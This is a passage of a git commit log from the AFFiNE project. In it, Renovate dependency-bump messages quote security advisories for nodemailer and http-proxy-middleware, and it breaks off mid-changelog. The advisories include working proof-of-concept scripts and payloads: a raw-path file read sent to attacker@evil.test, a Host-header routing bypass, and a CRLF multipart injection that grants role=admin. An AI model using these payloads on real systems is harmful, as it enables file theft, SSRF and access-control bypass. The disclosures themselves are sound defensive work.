Compare commits

...

29 Commits

Author SHA1 Message Date
renovate[bot] e343802b2d chore: bump up Apollo GraphQL packages 2026-06-19 15:00:15 +00:00
renovate[bot] 7ea8800c99 chore: bump up nodemailer version to v9 [SECURITY] (#15134)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`^8.0.11` →
`^9.0.0`](https://renovatebot.com/diffs/npm/nodemailer/8.0.11/9.0.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/9.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/8.0.11/9.0.1?slim=true)
|

---

### Nodemailer: Message-level raw option bypasses
disableFileAccess/disableUrlAccess, enabling arbitrary file read and
full-response SSRF in the delivered message

[GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)

<details>
<summary>More information</summary>

#### Details
##### Message-level `raw` option bypasses `disableFileAccess` /
`disableUrlAccess`, enabling arbitrary file read and full-response SSRF
in the sent message

- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD
`4e58450eb490e5097a74b2b2cce35a8d9e21856e`)
- **Verdict:** CONFIRMED (local PoC, no network)

##### Summary

Nodemailer exposes `disableFileAccess` and `disableUrlAccess` so an
application that passes
**untrusted** message data to the library can forbid that data from
reading local files or
fetching URLs. Every attachment, alternative,
`html`/`text`/`watchHtml`/`amp` and `icalEvent`
content node honors these flags. **The message-level `raw` option does
not.**

`MailComposer.compile()` builds the root MIME node for a `raw` message
**without** threading the
two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href:
'http://169.254.169.254/…' }`
message is read / fetched anyway, and the file or HTTP-response bytes
become the **actual
message that is sent** by every transport (SMTP, SES, sendmail, stream,
JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary
local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor
can choose.

This is the same vulnerability class as the already-published
jsonTransport advisory
**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node,
not `normalize()`), and
strictly higher impact: the jsonTransport bug only affected the
locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.

##### Affected component

- `lib/mail-composer/index.js:34-35` — root cause:
  ```js
  if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', { newline:
this.mail.newline }).setRaw(this.mail.raw);
  }
  ```
The `MimeNode` is constructed with only `{ newline }`. Compare the
sibling node builders

`_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`
  (`lib/mail-composer/index.js:389-527`), which all pass
`disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess:
this.mail.disableFileAccess`.
- `lib/mime-node/index.js:51-52` — the constructor derives
`this.disableFileAccess`/
`this.disableUrlAccess` solely from its own `options`; children do
**not** inherit a parent's
flags (`createChild`/`appendChild`, lines 175-194, pass options through
verbatim).
- `lib/mime-node/index.js:812` — `setRaw()` content is resolved through
`this._getStream(this._raw)`.
- `lib/mime-node/index.js:984-1010` — `_getStream` reads the file
(`fs.createReadStream`, 995) or
fetches the URL (`nmfetch`, 1009) **only guarded by
`this.disableFileAccess`/`this.disableUrlAccess`**,
  which on the `raw` root node are `false`.
- Reached from the normal send flow at `lib/mailer/index.js:188`
(`mail.message = new MailComposer(mail.data).compile()`), so every
transport is affected.

##### Reachability gate (hop-by-hop)

1. **Source.** Application calls `transporter.sendMail({ raw:
<userControlled> , to: <userControlled> })`
with `disableFileAccess: true` and/or `disableUrlAccess: true`
configured on the transporter
(forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per
message. This is the
exact scenario the flags exist for — the same precondition under which
GHSA-wqvq-jvpq-h66f was
   accepted.
2. **Guard — the access flags.** For attachments the flag is enforced: a
node created by
`_createContentNode` carries `disableFileAccess`, so `_getStream` throws
`EFILEACCESS`.
**Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on
its node, so
`this.disableFileAccess === false` and the guard at `mime-node:985` /
`:999` is skipped.
There is no other validation between `mail.raw` and the read; `raw`
content shapes
(`{path}`, `{href}`, stream, string, buffer) are accepted as-is by
`setRaw`/`_getStream`.
3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or
`nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as
the message body by
   `createReadStream()`, which every transport pipes to its destination
(`smtp-transport:233`, `smtp-pool/pool-resource:208`,
`ses-transport:96`, `sendmail-transport:184`,
   `stream-transport:67`).

No guard blocks the chain; the only guard (the access flags) is
structurally absent on this node.

##### Root cause

Inconsistent enforcement: the access policy is applied per-`MimeNode`
via constructor options and
must be re-passed at every node creation. The `raw`-message shortcut in
`compile()` omits it,
while all five other node builders include it. The flags are therefore
enforced for every content
type *except* the one that lets the caller supply a complete message
body by path/URL.

##### Exploit path

Application that sandboxes untrusted mail input
(`disableFileAccess`/`disableUrlAccess` set):

1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or
any server file:
   `/app/.env`, key material, etc.) and `to: attacker@evil.test`.
2. `compile()` builds the raw root node without the flags; the transport
reads the file and sends
its contents as the message → **arbitrary server-file exfiltration to an
attacker-chosen mailbox.**
3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a
cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in
the email →
   **full-response SSRF** (no blind-channel limitation).

##### Impact

- **Confidentiality (High):** arbitrary local file read disclosed in the
outgoing message;
full-response SSRF to internal/metadata endpoints, also disclosed in the
message.
- **Integrity (Low):** attacker-fetched/file content is injected into
the delivered mail.
- The two protective flags an application relies on to contain untrusted
input are silently
  ineffective for `raw`.

##### Preconditions

The application (a) passes `disableFileAccess` and/or `disableUrlAccess`
(the documented sandboxing
flags) and (b) lets untrusted input influence the `raw` field (and, for
maximal disclosure, `to`).
No other configuration is required; all bundled transports are affected.
This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.

##### Severity

- **AV** — message data routinely originates over the network in the
apps these flags protect.
- **AC** — a single crafted `raw` object; deterministic.
- **PR** — the actor is a user whose input the app already treats as
untrusted (the reason the
  flags are set); not fully anonymous in the typical deployment.
- **UI** — no victim interaction.
- **S** — impact within Nodemailer's process scope.
- **C** — arbitrary file read **and** full-response SSRF, both delivered
to an attacker-chosen
recipient. (The sibling jsonTransport advisory used C:L because its leak
stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is
warranted.)
- **I** — attacker injects fetched/file bytes into the outgoing message.
- **A**.
Note: if a deployment fixes the recipient (`to` not attacker-controlled)
the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High
rating reflects the
reasonable worst case where `raw` and `to` are both untrusted.

##### Adversarial re-read (attempts to refute)

1. **"`raw` content is by-design trusted, so the flags shouldn't
apply."** Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors
the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this
"untrusted input + flag set"
model. The asymmetry — attachment `{path}` is blocked but `raw:{path}`
is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the
same file.
2. **"The raw node inherits the flags via rootNode."** Rejected by code
and by PoC: `compile():35`
constructs the node with `{ newline }` only; `MimeNode` constructor sets
`this.disableFileAccess = !!options.disableFileAccess` → `false`;
`rootNode` is itself; no
   inheritance exists.
3. **"The PoC leaks for an unrelated reason."** Rejected: the CONTROL
message (`attachments:[{path}]`,
same file, same transporter) returns `EFILEACCESS`; only the
`raw:{path}` message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is
generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to
the bypass.
4. **"Maybe only jsonTransport (already reported) is affected."**
Rejected: the PoC uses
`streamTransport` and the root cause is in `MailComposer.compile()`
(`mailer:188`), shared by all
   transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

##### Proof of concept (safe, benign)

`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no
network egress (loopback only),
no destructive action. Output:
```
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
```
Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0
= confirmed).

##### Remediation

Thread the access policy onto the `raw` root node, exactly as the other
builders do:
```js
if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}
```
(Defense in depth: `setRaw`/`_getStream` could also refuse
`{path}`/`{href}` raw content when either
flag is set, regardless of how the node was constructed.) Add a
regression test asserting that
`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS`
when the flags are set, mirroring
the attachment tests.

#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f)
-
[https://github.com/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v9.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#901-2026-06-17)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.0...v9.0.1)

##### Bug Fixes

- enforce disableFileAccess/disableUrlAccess for raw message option
([a82e060](https://redirect.github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2))

###
[`v9.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#900-2026-06-14)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.11...v9.0.0)

##### ⚠ BREAKING CHANGES

- HTTPS requests made while fetching remote content (attachment
href/path URLs, OAuth2 token endpoints, HTTP/HTTPS proxy CONNECT) now
validate the server's TLS certificate by default. Requests to hosts with
self-signed, expired, or hostname-mismatched certificates that
previously succeeded will now fail. Opt back out per request with
tls.rejectUnauthorized=false (transport options, or a per-attachment
`tls` option).

##### Bug Fixes

- replace deprecated url.parse with a WHATWG URL wrapper
([0c080fb](https://redirect.github.com/nodemailer/nodemailer/commit/0c080fbf3278926f013a5c2ad06f5f6f0e18f5ed))
- validate TLS certificates by default when fetching remote content
([6a947ac](https://redirect.github.com/nodemailer/nodemailer/commit/6a947ac7114a16da1e6a50d9a6f4e17026ce145d))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-19 22:51:23 +08:00
renovate[bot] 16196c6ca1 chore: bump up http-proxy-middleware version to v3.0.7 [SECURITY] (#15131)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[http-proxy-middleware](https://redirect.github.com/chimurai/http-proxy-middleware)
| [`3.0.5` →
`3.0.7`](https://renovatebot.com/diffs/npm/http-proxy-middleware/3.0.5/3.0.7)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/http-proxy-middleware/3.0.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/http-proxy-middleware/3.0.5/3.0.7?slim=true)
|

---

### http-proxy-middleware `router` host+path substring matching allows
Host-header-driven backend routing bypass
[CVE-2026-55602](https://nvd.nist.gov/vuln/detail/CVE-2026-55602) /
[GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

<details>
<summary>More information</summary>

#### Details
##### Summary

`http-proxy-middleware` documents `router` proxy-table entries as host,
path, or host+path selectors, but the host+path implementation uses
unanchored substring matching on attacker-controlled request metadata.
As a result, a crafted `Host` header that is only a superstring match
for a configured host+path key can still route a request to an
unintended backend.

##### Details

Tested code state:

- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`

Relevant code locations:

- `src/router.ts`
- `src/http-proxy-middleware.ts`

Affected public API:

- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`

Code explanation:

When a proxy-table router key contains `/`, `getTargetFromProxyTable()`
concatenates attacker-controlled `req.headers.host` and `req.url` into a
single `hostAndPath` string, then accepts the route if:

```ts
hostAndPath.indexOf(key) > -1
```

That is a substring test, not an exact host match plus intended path
match. In the validated PoC, the configured router key is:

```txt
localhost:3000/api
```

but the attacker-controlled host is:

```txt
evillocalhost:3000
```

and the request path is:

```txt
/api
```

The concatenated attacker-controlled string:

```txt
evillocalhost:3000/api
```

still contains the configured router key as a substring, so the
middleware selects the alternate backend even though the host is not
equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table `router` feature
with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted
`Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection
before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string
through substring matching
5. the request is proxied to the wrong backend

##### PoC

Create these files in the same working directory and run:

```bash
bash ./run.sh
```

##### File: `run.sh`

```bash

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```

##### File: `Dockerfile`

```Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
```

##### File: `verify.mjs`

```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```

This PoC starts:

- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:

```js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});
```

It then sends:

1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`

Observed result from the validated PoC:

- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router
substring match bypass`

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

##### Impact

This is a backend-selection integrity issue in a documented library
feature. Applications that use host+path router-table rules for backend
segmentation, tenant routing, or separation of public and more sensitive
upstreams can have that routing boundary bypassed by an unauthenticated
external client using an ordinary crafted `Host` header.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj)
-
[https://github.com/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### http-proxy-middleware: multipart/form-data field injection via
unescaped CRLF in `fixRequestBody`
[CVE-2026-55603](https://nvd.nist.gov/vuln/detail/CVE-2026-55603) /
[GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

<details>
<summary>More information</summary>

#### Details
##### Summary
`fixRequestBody()` is the library's documented helper for re-emitting a
request body that was already consumed by a body parser. When the
**outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the
body with `handlerFormDataBodyData()`, which interpolates each
`req.body` key and value directly into the multipart wire format
**without neutralizing CR/LF**:

```js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}
```

A `\r\n` inside a value (or key) lets an attacker close the current part
and inject an **entirely new form part**. Because the proxy's own body
parser saw a single opaque value, any gateway-side policy or validation
performed on `req.body` is evaluated against a different set of fields
than the upstream backend ultimately parses a request/parameter
desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: `application/json`
uses `JSON.stringify` (escapes control chars) and
`application/x-www-form-urlencoded` uses `querystring.stringify`
(percent-encodes). Only the multipart branch lacks escaping.

##### Preconditions 
All three must hold; this narrows real-world exposure and is the basis
for `AC:H`:
1. The proxy app populates `req.body` with a **non-multipart** parser
(`express.urlencoded`, `express.json`, or text) so an injected boundary
in a value is **not** split on input.
2. The proxied (outgoing) request is sent as **`multipart/form-data`**
(e.g. an adaptation layer, or any flow that sets the upstream
content-type to multipart), so the vulnerable branch runs.
3. The app calls `fixRequestBody` (the documented pattern for "I
body-parsed, now re-stream"), and an attacker controls at least one body
field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is
generally **not** exploitable for a *new-field* injection, because the
proxy's multipart parser already splits the injected boundary, so
`req.body` and the backend agree. The desync specifically requires a
non-multipart input parser.

##### Impact
When the preconditions hold, an attacker injects/overrides multipart
fields seen only by the backend:
- **Validation / access-control bypass** bypass gateway-side field
checks (demonstrated below: a gateway that forbids `role=admin` is
bypassed; backend grants admin).
- **Parameter tampering** add or overwrite fields the backend trusts
(IDs, flags, prices).
- **File-part injection** inject a `filename="..."` part into the
upstream multipart stream.

##### Proof of Concept

```js
// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
```

Output: one input field becomes **two** parts; `role=admin` was injected
via the unescaped CRLF:

```
--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--
```

`req.body` had a single key (`user`), so any gateway policy checking
`req.body.role` passes, yet the backend's multipart parser receives
`role=admin`. On the wire the attacker simply sends, as
`application/x-www-form-urlencoded`:
`user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--`

##### Remediation
Neutralize CR/LF (and `"`) in keys/values before interpolation, or build
the body with a real multipart encoder (e.g. `FormData` / `form-data`)
instead of string concatenation. Minimal fix:

```js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}
```
(Reject is preferable to silent stripping, to avoid masking malicious
input.)

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm)
-
[https://github.com/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>chimurai/http-proxy-middleware
(http-proxy-middleware)</summary>

###
[`v3.0.7`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7)

#### What's Changed

- fix(fixRequestBody): harden form-data stringification by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1259](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1259)
- chore(package.json): v3.0.7 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1261](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1261)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7>

###
[`v3.0.6`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6)

#### What's Changed

- fix(types): fix Logger type by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1104](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1104)
- fix(fixRequestBody): support text/plain by
[@&#8203;knudtty](https://redirect.github.com/knudtty) in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1105](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1105)
- build(prettier): improve prettier setup by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1108](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1108)
- chore(deps): fix punycode node deprecation warning by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1109](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1109)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1110](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1110)
- build(codespaces): add devcontainer.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1112](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1112)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1116](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1116)
- ci(github-action): ci.yml add node v24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1117](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1117)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1118](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1118)
- chore(package): upgrade to jest v30 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1122](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1122)
- chore(examples): upgrade deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1124](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1124)
- chore(package): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1125](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1125)
- test(websocket): fix ws import by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1126](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1126)
- chore(refactor): use `node:` protocol imports by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1127](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1127)
- ci(node24): pin node24 due to TLS issue with mockttp by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1137](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1137)
- docs(recipes/pathRewrite.md): fix comment by
[@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1138](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1138)
- chore(deps): update actions/checkout action to v5 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1140](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1140)
- fix(error-response-plugin): sanitize input by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1141](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1141)
- chore(package.json): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
